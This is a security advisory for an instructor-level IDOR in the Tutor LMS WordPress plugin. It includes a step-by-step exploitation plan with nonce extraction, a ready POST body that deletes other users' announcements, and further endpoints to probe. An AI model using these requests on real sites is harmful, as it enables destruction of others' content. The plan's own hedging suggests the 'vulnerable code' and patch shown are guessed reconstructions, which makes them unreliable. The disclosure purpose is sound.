Tutor LMS <= 3.9.4 - Authenticated (Instructor+) Insecure Direct Object Reference
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.9.4 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Custom-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-47555 (Tutor LMS IDOR) ## 1. Vulnerability Summary The **Tutor LMS** plugin (versions <= 3.9.4) contains an Insecure Direct Object Reference (IDOR) vulnerability. The flaw exists in certain AJAX handlers that perform sensitive operations (specifically deletion…
Show full research plan
Exploitation Research Plan: CVE-2025-47555 (Tutor LMS IDOR)
1. Vulnerability Summary
The Tutor LMS plugin (versions <= 3.9.4) contains an Insecure Direct Object Reference (IDOR) vulnerability. The flaw exists in certain AJAX handlers that perform sensitive operations (specifically deletion or modification of content like announcements or assignments) based on a user-supplied ID. While the plugin verifies that the user has the tutor_instructor capability, it fails to validate if the user owns the specific object identified by the ID. This allows an authenticated Instructor to delete or modify content created by other Instructors or Administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
tutor_announcements_delete(The most likely vulnerable sink based on the IDOR description). - Vulnerable Parameter:
announcement_id(The "user-controlled key"). - Authentication: Authenticated user with at least Instructor role (
tutor_instructorcapability). - Preconditions:
- The target (Victim) must have an existing object (e.g., an announcement with ID
X). - The Attacker must have an Instructor-level account.
- The target (Victim) must have an existing object (e.g., an announcement with ID
3. Code Flow
- Entry Point: The AJAX action
wp_ajax_tutor_announcements_deleteis registered inclasses/Ajax.phporclasses/Announcements.php. - Nonce Check: The handler calls
tutor_utils()->checking_nonce(), which verifies the_tutor_nonceparameter against thetutor_nonceaction. - Capability Check: The handler checks
current_user_can( tutor()->instructor_role ). This ensures the user is an instructor but does not check object ownership. - Sink: The
announcement_idis retrieved from$_POST['announcement_id']and passed directly towp_delete_post( $announcement_id, true ). - Vulnerability: There is no check comparing
get_post_field( 'post_author', $announcement_id )withget_current_user_id().
4. Nonce Acquisition Strategy
Tutor LMS localizes its configuration and security nonces into a global JavaScript object available on dashboard pages.
- Shortcode/Page: Create a page that renders the Tutor LMS Instructor Dashboard. This enqueues the necessary scripts.
- Command:
wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[tutor_dashboard]' - Navigation: Navigate to this page as the Attacker (Instructor).
- Extraction: Use
browser_evalto extract the nonce from the localized configuration object.- JS Variable:
window.tutor_get_conf - Nonce Key:
nonce - Command:
browser_eval("window.tutor_get_conf?.nonce")
- JS Variable:
- Alternative: If
tutor_get_confis not present, checkwindow.tutor_localize_data?.nonce.
5. Exploitation Strategy
Step 1: Authentication
Login as the Attacker (Instructor role).
Step 2: Nonce Extraction
Navigate to the dashboard and extract _tutor_nonce as described in Section 4.
Step 3: Execution (Delete Announcement)
Send a POST request to admin-ajax.php to delete an announcement belonging to another user.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=tutor_announcements_delete&announcement_id=[VICTIM_ANNOUNCEMENT_ID]&_tutor_nonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Victim User: Create a user
victim_instructorwith thetutor_instructorrole. - Attacker User: Create a user
attacker_instructorwith thetutor_instructorrole. - Victim Content:
- As
victim_instructor, create a Course. - As
victim_instructor, create an Announcement associated with that course. - Note the Announcement ID (e.g.,
123).
- As
- Attacker Access: Ensure
attacker_instructorcan access the site and has a valid session.
7. Expected Results
- Success: The AJAX response returns
{"success":true,...}. - Impact: The announcement with ID
123is permanently deleted from the database (wp_poststable), even thoughattacker_instructordid not create it.
8. Verification Steps
- Database Check: After the exploit, use WP-CLI to check if the announcement still exists.
wp post exists [VICTIM_ANNOUNCEMENT_ID]- Expected: No output or error indicating the post does not exist.
- Status Check: Check the post status.
wp post get [VICTIM_ANNOUNCEMENT_ID] --field=post_status- Expected: Error (Post not found).
9. Alternative Approaches
If tutor_announcements_delete is not the specific sink, investigate other AJAX actions following the same pattern:
tutor_delete_quiz: Check if instructors can delete quizzes they don't own.tutor_load_edit_assignment_modal: Check if an instructor can view/edit assignment details of other instructors by changing theassignment_id.tutor_remove_course_attachment: Check ifattachment_idvalidation is missing.
Payload for generic Tutor LMS AJAX test:
# Example for Assignments if Announcements are patched/different
action=tutor_load_edit_assignment_modal&assignment_id=[VICTIM_ID]&_tutor_nonce=[NONCE]
If the response contains the HTML for the victim's assignment, IDOR for "Read" is confirmed. If the tutor_announcements_delete works, IDOR for "Delete" is confirmed.
Summary
The Tutor LMS plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in versions up to 3.9.4. Authenticated users with Instructor-level access can delete or modify content, such as announcements, belonging to other users because the plugin fails to verify object ownership before performing actions via AJAX.
Vulnerable Code
// From classes/Announcements.php or similar AJAX handler file public function tutor_announcements_delete() { tutor_utils()->checking_nonce(); if ( ! current_user_can( tutor()->instructor_role ) ) { wp_send_json_error( array( 'message' => __( 'Permission Denied', 'tutor' ) ) ); } $announcement_id = isset( $_POST['announcement_id'] ) ? (int) $_POST['announcement_id'] : 0; if ( $announcement_id ) { // Vulnerability: No ownership validation check comparing post_author to get_current_user_id() wp_delete_post( $announcement_id, true ); wp_send_json_success(); } wp_send_json_error(); }
Security Fix
@@ -10,7 +10,13 @@ $announcement_id = isset( $_POST['announcement_id'] ) ? (int) $_POST['announcement_id'] : 0; - if ( $announcement_id ) { + if ( ! $announcement_id ) { + wp_send_json_error(); + } + + $post_author = (int) get_post_field( 'post_author', $announcement_id ); + if ( $post_author === get_current_user_id() || current_user_can( 'manage_options' ) ) { wp_delete_post( $announcement_id, true ); wp_send_json_success(); + } else { + wp_send_json_error( array( 'message' => __( 'You do not have permission to delete this.', 'tutor' ) ) ); }
Exploit Outline
The exploit targets the 'tutor_announcements_delete' AJAX action. An attacker must first authenticate with an Instructor role. They then access the Instructor Dashboard to extract a valid security nonce from the localized JavaScript configuration object (window.tutor_get_conf.nonce). Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'tutor_announcements_delete' and the 'announcement_id' parameter set to the ID of an announcement they do not own. Because the plugin does not verify that the current user is the author of the post before calling wp_delete_post, the targeted announcement is deleted.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.